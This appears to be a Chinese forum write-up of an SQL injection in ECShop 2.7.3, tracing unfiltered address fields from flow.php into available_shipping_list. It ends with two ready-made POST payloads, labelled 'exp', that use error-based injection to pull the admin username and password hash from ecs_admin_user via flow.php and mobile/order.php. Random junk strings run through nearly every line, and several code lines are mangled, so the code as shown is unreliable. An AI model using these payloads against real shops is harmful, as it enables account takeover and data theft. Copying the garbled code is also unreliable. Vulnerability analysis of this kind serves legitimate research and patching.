前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。9 h9 t3 s. `) |( s0 g
: `) Y: z; M" n7 t 漏洞关键文件:
9 b" q$ J0 { k* r' K1 t6 O4 ~# A6 e/ q
/includes/lib_order.php1 s8 d, K% J6 ]; h3 m& p
0 d. x' W) n7 n2 X" N5 O- X
关键函数:0 r, T4 X& S# \4 ~, j
3 ~) z; K' b# K8 s5 l
7 Z% b: X$ e+ Y6 n, q7 C5 ]
3 E3 I2 R( E" _2 ~( b* U! E1 ~3 d01 function available_shipping_list($region_id_list)
5 G1 T5 S. q5 |9 B/ T2 m7 C5 Q+ a2 W
02 {
; y2 }5 K/ Q* h9 k
& o3 i c3 P4 \ e$ J* f03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
5 E) T' J) \% ]7 d' X/ r; H$ e' ?1 G
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
( ~: l% ]% H, j+ t" ^ \
4 N! y' {, |9 H; N1 w3 r0 D1 h05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 7 @+ r/ I; M) K; w! V* f- L
/ S# `/ [0 h7 S06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . + n* E/ B0 W: |% u0 f
+ M3 M& J u# h0 E& f
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. % y! H& T6 V2 |
7 s" |* d* P; ]! G08 'WHERE r.region_id ' . db_create_in($region_id_list) .
+ i8 t+ @0 C$ q7 M. |, I
9 P8 V, M5 _+ I' z6 |09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; . D& s+ `8 D" ?6 ?4 F
$ w6 K, z. T$ @. z4 Y: B; g
10 $ l, j0 a& |7 p# p
5 J- K9 q; E/ D0 { d& h. B3 A2 i
11 return $GLOBALS['db']->getAll($sql); 0 m( ~5 i) g6 A
2 i4 c- g/ N6 N
12 } 3 a. x c9 _! c. ~2 \4 c' P% u
; s! D6 S2 `: z0 L
显然对传入的参数没有任何过滤就带入了查询语句。1 [% y' _+ H, } ?& D
- f: D v# g3 V: I: x3 K: W9 B
下面我们追踪这个函数在flow.php中:9 n5 s; W" d! @; G
第531行: 1 q+ k' [5 L R' |
H' r: ~ q% c& ]1 $shipping_list = available_shipping_list($region);
" S. k% R0 D2 y1 A
; A4 K N$ y" O6 b5 Z: k: v : m) x& {1 K+ Q0 u" ^$ g
, X) e. P3 K# h
; [, S6 _3 u8 H% V1 \
$ K1 x" w2 C; P$ n9 n) E再对传入变量进行追踪:3 o( @9 Z5 O. Q" ]* a# p8 t$ S
* ?+ S0 A7 _8 f
第530行: 4 O. R! O( e# B' G* F1 E1 l1 Q
2 i7 |% n+ @$ b: G& F
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); - |- ~ c9 `$ L+ K9 j, v
# y$ o) E" e7 P- L% ` I " z6 ?4 V% m; }5 N
D; [" @7 U. U2 ], `
* y: q% Y* G3 }9 B! C1 l! a) }% L
- S7 q- Z# W" X" b! P第473行:
6 d$ | p+ X# [+ Z2 s2 t* ~0 B0 }& x4 N7 F# g& V/ Y) J9 I
1 $consignee = get_consignee($_SESSION['user_id']); 8 x! I$ `) l4 x: e' S3 a- a/ x
5 k8 L [% @8 _" ^4 m到了一个关键函数:
+ ?' [0 J5 r. ]: p6 K( `1 C5 a' d$ R7 a6 ]9 s1 V
/includes/lib_order.php" C6 P! n( W1 B
2 d& y A& @, G8 b9 r% J : |% C- X* {; A2 V8 b" e2 K
$ I+ d k2 H$ r- V) c. H
w. s1 E8 K4 I u1 w, T$ i
) j7 [+ u* z/ p5 l01 function get_consignee($user_id)
& Y* R4 h+ k% F! e& n* y& T- e
. Q! x* f8 L2 ]02 {
# \$ j4 R+ @- V7 K5 Q9 p! f' g7 `5 ~ b4 R$ k7 |+ d
03 if (isset($_SESSION['flow_consignee']))
1 E# e' ~" z( h
! _0 `4 B% T; S! Y04 {
0 S6 o. R8 _/ N9 ~% U8 x: {8 V* n2 G) X3 j) p: I& F
05 /* 如果存在session,则直接返回session中的收货人信息 */ 6 v4 Q+ Q& T, d
( H* y( _' O* q7 J0 N) c
06 ) |- s7 ^* r+ u9 C/ B- Y- m9 P+ D
2 o3 ~) T+ U0 G, K; _, B4 ~4 @8 [
07 return $_SESSION['flow_consignee']; 1 d. S7 h! D' ~& R9 e% D3 Z3 `+ R
; b z7 \0 \2 k; Q& E0 h
08 } : h |( M3 m$ k2 n F+ I$ z* d
5 `* m2 o; G3 L/ L* u; m
09 else ; Z- D: G3 {* C) N5 o$ z
/ T& I! S+ N$ z L10 {
% j5 k! ?4 U3 c" A$ h
" h! \& n" }/ y7 y% Q11 /* 如果不存在,则取得用户的默认收货人信息 */ $ d: m7 @% j' v1 J" o) e' L
# h1 V3 H. g- g9 r1 a* z$ {, F0 V12 $arr = array(); ' v/ |$ Q" f% \1 A0 }
- J6 P1 L* F' Q# ~0 |5 C' ^! W
13 ; I7 T5 Y2 A7 t
6 r! V9 R' U ` s0 D# k- z14 if ($user_id > 0)
4 J% j9 c; F8 ?1 m0 r( @: A* @6 z5 o0 t% T% z
15 { 3 Y. e# _+ k6 w
; V& t7 C- D( x8 K: C7 T8 C% z16 /* 取默认地址 */
1 U: }" C1 \4 O' r$ e/ G. x( f
, i+ x7 y$ v! _) s17 $sql = "SELECT ua.*".
( i6 D3 k0 o. t. {1 t
5 ]% C6 B' D( t: b18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
" v( a& L$ H t4 }% w
: L% b" L, J9 R6 ~1 T' W$ f19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
5 R; h, Q* q* ^8 d8 m n5 A, p1 t# M2 `( ^' B$ Z
20 8 Z; l3 {) N& R! _; w4 r- U
: i: U4 D! [' z4 l
21 $arr = $GLOBALS['db']->getRow($sql);
6 {2 W, b; j5 _7 w. U5 ~4 o5 p) R
- n V5 T& Y& N22 }
+ L: C, N- p) ^8 m" m& S/ m9 p' ^- T& l/ U( }' W* d; j: A, }
23
3 f; D% U, G/ P, V! l. |+ Y
1 v( n' i/ ?4 z24 return $arr; ; `3 b; \! C/ D3 \" c
U& E7 {9 f) w2 t/ s25 }
) P% ~9 k1 f+ a/ V5 R
$ d0 q1 A; N! b% @26 } , ^' y$ Q( `# P0 J% X1 v" p
" n( ]% i8 B+ \: o- E" l
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
5 G$ r* A# S _5 E1 ]5 j' V; Z" a3 e5 W4 G& P* m9 ^
! k3 e/ i" O0 `, K5 o8 k
# L" ^/ a. {' Y+ |9 W关键点:! k4 a3 a& \$ G) @3 t& F" R6 g
7 o0 d+ x9 j" \第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);3 V- \# o2 q5 I% L$ Y/ D3 n
, i- v% p- A* H7 m# x
这里对传入参数反转义存入$_SESSION中。
. P4 [. x9 X2 S C: q& v6 ?, ~6 P. ?; m5 E5 D/ N# A: o
, ^8 L, D9 P& S8 {" N5 Y
) P( _7 K' D( Q. H6 f然后看下:
/ ^! G4 G8 ?/ f, P" C' Q6 y6 @: r( b/ G* @+ l
- {& S) k& z- r" M7 {1 P s+ x5 x' p6 u7 Q
0 |3 j V# l% D( ?) @( A9 L5 F
}* }8 O9 H+ I( T' t6 U
01 $consignee = array(
+ ~1 L* v8 C9 w' v" T; Q
n1 S3 H1 W2 h02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
2 W) K7 d: J( k3 @. u% F: @7 }. r# c! R
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
% x% _& a$ g* b- w; W) c& j( ?# L4 b2 i" [
04 'country' => empty($_POST['country']) ? '' _POST['country'],
' i A; [& K) V
9 V) A5 l) z2 T% j: ~8 i' E1 m& D05 'province' => empty($_POST['province']) ? '' _POST['province'], % R3 O" V& u2 c: {
~0 J+ K L# N. j* a
06 'city' => empty($_POST['city']) ? '' _POST['city'],
8 k/ b _# b9 Q; ^- y
4 d% U, n9 Y, `1 ` @ p$ J07 'district' => empty($_POST['district']) ? '' _POST['district'],
0 U1 z4 m; n5 B: E' i- t( Y/ I# ` P0 c' C2 ]5 d! U" L3 l2 {8 x7 h
08 'email' => empty($_POST['email']) ? '' _POST['email'], " h9 j" Q! r8 o6 W. [& m$ u
! o( f3 p3 j6 R8 A
09 'address' => empty($_POST['address']) ? '' _POST['address'],
2 ~2 f0 B4 b1 y L% _: ^* _ u8 C+ ^+ R
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), + Z% m2 G0 B6 b
. s9 D1 |/ f8 w8 Q: C11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), ; y1 H* u$ S# U& t$ X' S7 o; @2 N% l
/ f6 _/ W% X6 @4 G$ E12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
* ~3 d) |1 [' _) J# C* N' ?9 q( l/ A# z$ _5 W. M3 }! F M$ \
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
( ]) Y, E% x+ g5 ?4 r+ {4 t3 ?/ z6 E% }
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], . J; y2 s9 b) ~- g$ S; b
J( c2 G. o- w4 b! _! H) h
15 ); 5 N4 ]! q2 i6 x6 O0 {1 f m
9 Q$ G9 B, i" Z" q s) x好了注入就这样出现了。( d) r1 b( k+ T8 j
6 K/ ], T2 S( W) Z2 M; y
==================- t1 v3 e7 T0 W L9 b8 w: ?1 {/ l
% D& q% |; r8 o
注入测试:% F) O8 C2 O5 W
6 V, r" Q: G4 G# x- r- L; S/ |
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)& M1 G' q5 J7 b" O
" s' o( v* x/ c, S6 r
测试程序:ECShop_V2.7.3_UTF8_release11062 G2 x0 y' c8 P" j9 {* d! P* G
# t @' r5 b9 @. X: [
. `" d0 u @6 ^; {) S6 ^5 z* {# y- ^) D+ v$ {
1.首先需要点击一个商品加入购物车
6 k% F$ g& z8 _0 o( e/ j% }5 }0 j4 y& t9 P6 Q
2.注册一个会员帐号
# }+ b% @) m* z5 t& L; e6 B4 c9 B% e i( y; E w& A
3.post提交数据; j3 j. C! B, Y6 T t6 x
2 i4 i( ~* G R! k/ H; e & H- O- L* Q! h* H! \
4 v( `4 E% p. ]* @, y1 http://127.0.0.1/ecshop/flow.php 2 s! d7 Z B. S5 Y
9 \, ~4 A0 |! L1 M w( x2 + k; K2 E' d( g9 s) H
' i) }+ M' f. o; u, `3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= / [: o9 S; M# v) k- m/ @* ^% q
举一反三,我们根据这个漏洞我们可以继续深入挖掘:3 i% }* h4 C- N+ I- Q
/ Y8 p X! \' i& l! G8 y我们搜寻关键函数function available_shipping_list()) B* Q1 B8 x) ~ ~
& N2 ?0 n# }3 `
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
+ @1 y3 B5 q" Y* g8 w# x' a0 d& v
) U" w9 I6 f6 B& j利用exp:
! _+ ?7 \1 `3 H1 O
* i* I! U( M l1.点击一个商品,点击购买商标$ N+ Y, H" `8 u. M9 D# L: @/ j
4 Z8 c) `5 X6 [7 W `, [
2.登录会员帐号
5 u- [: g6 V4 m6 C p
+ y/ x' J# Y6 ^7 _1 X! Y/ L0 }3 S7 _3.post提交:
" d. q0 L3 W4 P! `, C0 Y; F/ L8 n$ z* [- V/ I
http://127.0.0.1/ecshop/mobile/order.php
1 R$ t3 @# b3 `; L& K0 }1 {) P0 U' ` H1 k, A/ Y p9 A
" i& M) K7 V3 x; Q% D7 a
* ^* i: t+ Y; `' a0 Z" hcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=% O* g2 L7 m6 X6 I* P* o
) w% _+ E3 e! S |